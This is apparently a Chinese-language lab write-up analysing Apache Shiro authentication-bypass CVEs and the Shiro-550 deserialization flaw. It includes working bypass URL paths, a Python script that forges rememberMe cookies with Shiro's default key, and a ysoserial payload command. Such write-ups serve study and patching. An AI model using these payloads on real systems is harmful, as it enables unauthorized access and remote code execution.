权限绕过
环境搭建
基于此源码:https://github.com/l3yx/springboot-shiro
导入idea,application.properties添加
1 | server.servlet.context-path=/test |
因为pom.xml里排除了springboot内置的tomcat,新建Configurations->Tomcat Server,添加新的deployment,并设置context为/test
,然后运行即可
Shiro基础
Shiro验证
1 | anon 不需要验证,可以直接访问 |
Shiro的URL路径表达式为Ant格式
1 | /hello 只匹配url http://demo.com/hello |
CVE-2020-1957
影响范围
- Apache Shiro < 1.5.2
漏洞复现
这里需要在pom.xml里面修改shiro版本为1.5.1,而且spring-boot的版本记得改为:1.5.22.RELEASE
,原因具体可以查看:
https://www.anquanke.com/post/id/240033#h3-5
同时因为版本问题,SrpingbootShiroApplication.java
里这个类名需要改成如下,然后启动tomcat即可
POC:
1 | /test/a;/../admin/page |
直接访问302
绕过
漏洞分析
这里需要前置知识Tomcat URL解析差异性导致的安全问题,总结就是
Tomcat对请求路径中
/;xxx/
以及/./
的处理是包容的、对/../
会进行跨目录拼接处理
调试tomcat逻辑需要在pom.xml里添加依赖
1 | <dependency> |
定位到1.5.2版本修改的文件 org\apache\shiro\web\util\WebUtils.java
,里面getRequestUri函数调用的是request.getRequestURI处理,对于POC,此时uri和POC相同,即/test/a;/../admin/page
decodeAndCleanUriString函数则是对含有;
的路径进行处理,直接忽略掉;
和其之后的部分,对于POC,返回/test/a
normalize函数会对uri进行规范化处理,处理掉/./
,/../
,这里对POC没有什么影响
return完之后进入getPathWithinApplication函数,去除掉ContextPath,对于POC返回/a
然后进入Shiro匹配逻辑,取出config中定义规则,验证是否匹配,/a
显然不满足/admin/*
,不需要验证
Shiro验证绕过之后来到了Spring-boot解析,这个版本会调用tomcat的getServletPath
,对/;xxx/
以及/./
有包容性,POC对于tomcat来说就相当于是/test/admin/page
,于是能正常访问
总结漏洞产生的原因,Shiro调用request的getRequestURI获取到请求的地址之后,使用自身编写的逻辑去处理判断,没有考虑到tomcat解析兼容的差异性
漏洞修复
diff 1.5.1 和 1.5.2 的代码,这里主要使用request.getServletPath
来获取请求的路径,而其是tomcat内置,会考虑到对/;xxx/
以及/./
的包容性,那么对于POC,getServletPath返回/admin/page
,自然通不过验证,即Shiro主动去兼容tomcat
CVE-2020-11989
影响范围
- Apache Shiro < 1.5.3
漏洞复现
第一种方式:
1 | /;/test/admin/page |
第二种方式:
为了复现第二种方式,需要添加一个controller
1 | "/admin/{name}") ( |
POC
1 | /test/admin/w%25%32%66orld 或 /test/admin/w%252forld |
%25%32%66
和 %252f
为/
的二次url编码
漏洞分析
https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/
第一种绕过方式比较通用,这里以第一种进行分析。在上一个我们提到Shiro验证是再getChain函数,获取到请求路径后,和config中配置进行对比
获取请求路径是在getPathWithinApplication函数,getPathWithinApplication作用也说过,去掉请求中的ContextPath
关键就在于getRequestUri函数,normalize是规范化/./
和/../
decodeAndCleanUriString先进行一次url解码,然后注意59是;
的ascii码,这里遇到;
的处理逻辑是,直接忽略;
及以后,那么对于POC1,这里获取到的路径就是/
,可以绕过Shiro验证
第二种方式主要是解码和匹配的问题,decodeAndCleanUriString还会进行一次url解码,%25%32%66
会还原成/
,/admin/w/orld
不满足/admin/*
(注意/admin/*
只匹配一个路径,不匹配多个),所以绕过
漏洞修复
getServletPath和getPathInfo使用request方法获取路径和信息,会处理掉;
,..
等,同时没有了二次解码
xq17师傅还提到如果getPathInfo可以引入;
,那么也是可以继续绕过的,遗憾的是我在调试的时候一直没找到getServletPath在哪一段可以引入,希望知道的师傅可以指导一下
同时上个版本的修复又改回去了
CVE-2020-13933
影响范围
- Apache Shiro < 1.6.0
漏洞复现
Shiro 1.5.3版本
1 | <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.5.3</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.5.3</version> </dependency> |
POC
1 | /test/admin/%3bStr3am |
漏洞分析
修复过后的getPathWithinApplication函数中getServletPath调用request.getServletPath,会进行url二次解码,POC解码为/admin/%3bStr3am
,removeSemicolon会对;
进行处理。POC变为/admin/
然后这段是对Shiro-682的修复,会去掉最后的/
,显然/admin
不满足Shiro匹配/admin/*
,所以造成bypass
漏洞修复
在shiro 1.6.0
版本中,针对/*
这种ant
风格的配置出现的问题,shiro
在org.apache.shiro.spring.web.ShiroFilterFactoryBean.java
中默认增加了/**
的路径配置,以防止出现匹配不成功的情况。
而默认的/**
配置对应了一个新增的类org.apache.shiro.web.filter.InvalidRequestFilter
进行过滤,匹配到非法字符就会直接报错,可以看到,过滤了%3b
CVE-2020-17510
影响范围
- Apache Shiro < 1.7.0
漏洞分析
增加了对PathInfo的检验,修复过后,Shiro的URL校验是由ServletPath和PathInfo构成,之前CVE-2020-11989的时候提到过可以在PathInfo加入;
或../
绕过,Spring-boot默认PathInfo为空,但在其他情况可以,利用范围有限。
CVE-2020-17523
影响范围
- Apache Shiro < 1.7.0
漏洞复现
1 | <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.4.5</version> <relativePath/> <!-- lookup parent from repository --> </parent> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.6.0</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.6.0</version> </dependency> |
通杀版本
1 | /test/admin/%20 |
springboot高版本
1 | /test/admin/%2e 或 /test/admin/%2e |
漏洞分析
通杀版本的绕过,其原因和%3b
差不多,都是Shiro规则匹配特殊字符缺陷的原因
而针对/test/admin/%2e
,request.getServletPath处理后返回/test/admin/
,同样因为Shiro-682原因,会去掉最后的/
导致bypass
漏洞修复
解决空格分离的问题
Shiro-682的修复改成了if/else判断
权限绕过总结
经过上文的分析,可以看到权限绕过基本就在于Shiro和Spring到tomcat解析URL差异性上,Shiro用自己的逻辑去判断请求的地址,但是忽略了tomcat解析包容性的问题。导致绕过Shiro判断,而Spring能够正常解析。
反序列化
CVE-2016-4437(Shiro-550)
影响范围
- Apache Shiro < 1.2.4
环境搭建
下载Shiro并切换到漏洞版本
1 | git clone https://github.com/apache/shiro.gitcd shirogit checkout shiro-root-1.2.4 |
pom.xml修改,添加
jstl是为了jsp正常运行,commons-collections4引入反序列化利用链
1 | <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <!-- 这里需要将jstl设置为1.2 --> <version>1.2</version> <scope>runtime</scope></dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version></dependency> |
idea导入shiro/samples/web
,等待idea自动下载导入项目依赖的包
Edit Configurations 添加TomcatServer,并添加Deployment
然后调试运行即可
漏洞复现
burp插件发现默认key
rememberMe cookie生成脚本
1 | import sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AES key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCIV = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, IV) payload=base64.b64decode(sys.argv[1])BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()payload=pad(payload) print(base64.b64encode(IV + encryptor.encrypt(payload))) |
yso payload生成
1 | java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc"|base64 -w0|sed ':label;N;s/\n//;b label' |
然后生成用上面脚本生成cookie
1 | py -3 encode.py <yso payload> |
也可以使用图形化工具,一键利用,https://github.com/feihong-cs/ShiroExploit-Deprecated
漏洞分析
cookie生成
处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager
,它继承自org.apache.shiro.mgt.AbstractRememberMeManager
,其中在AbstractRememberMeManager中定义了加密cookie所需要使用的密钥,可以看到密匙是直接硬编码写死的
成功登录时,会进入onSuccessfulLogin方法
当rememberMe设置为on时,最后会进入两个参数的rememberIdentity函数,accountPrincipals为用户权限类型
跟进convertPrincipalsToBytes,this.serialize调用原生序列化类序列化数据,序列化之后通过encrypt函数加密
encrypt调用cipherService.encrypt,最终返回bytes值
跟进cipherService.encrypt
调试可以发现这里使用AES加密,CBC模式,填充方式为PKCS5Padding
iv的值跟进generateInitializationVector,会发现是随机生成的16位字符
又进入一个encrypt函数,会进入第一个if逻辑,可以看到output是由16位iv加AES密文,最后返回Util.bytes(output)
然后回到rememberIdentity,bytes即由16位iv加AES密文构成
rememberSerializedIdentity为抽象类,在org.apache.shiro.web.mgt.CookieRememberMeManager
实现,可以看到这里设置cookie为base64过后的bytes
cookie解析
org\apache\shiro\mgt\AbstractRememberMeManager.java
中getRememberedPrincipals处理rememberMe
跟进getRememberedSerializedIdentity,base64解码rememberMe值
继续跟进convertBytesToPrincipals
deserialize调用默认的readObject方法
漏洞修复
- 更改默认密匙
- 动态生成密匙,不用自己提供。官方提供org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法来进行AES的密钥生成
CVE-2019-12422(Shiro-721)
影响范围
- Apache Shiro < 1.4.2
漏洞复现
1 | git clone https://github.com/apache/shiro.git |
然后配置好idea的tomcat就可以了
详细复现和分析可以查看,https://yinwc.github.io/2021/06/01/shiro721漏洞复现/,iv需要爆破,时间比较久就没有复现了,懒 :P
大概原理及利用Padding Oracle Attack,针对AES中的CBC加密,修改AES解密后的值为想要的内容,就可以反序列化进入garget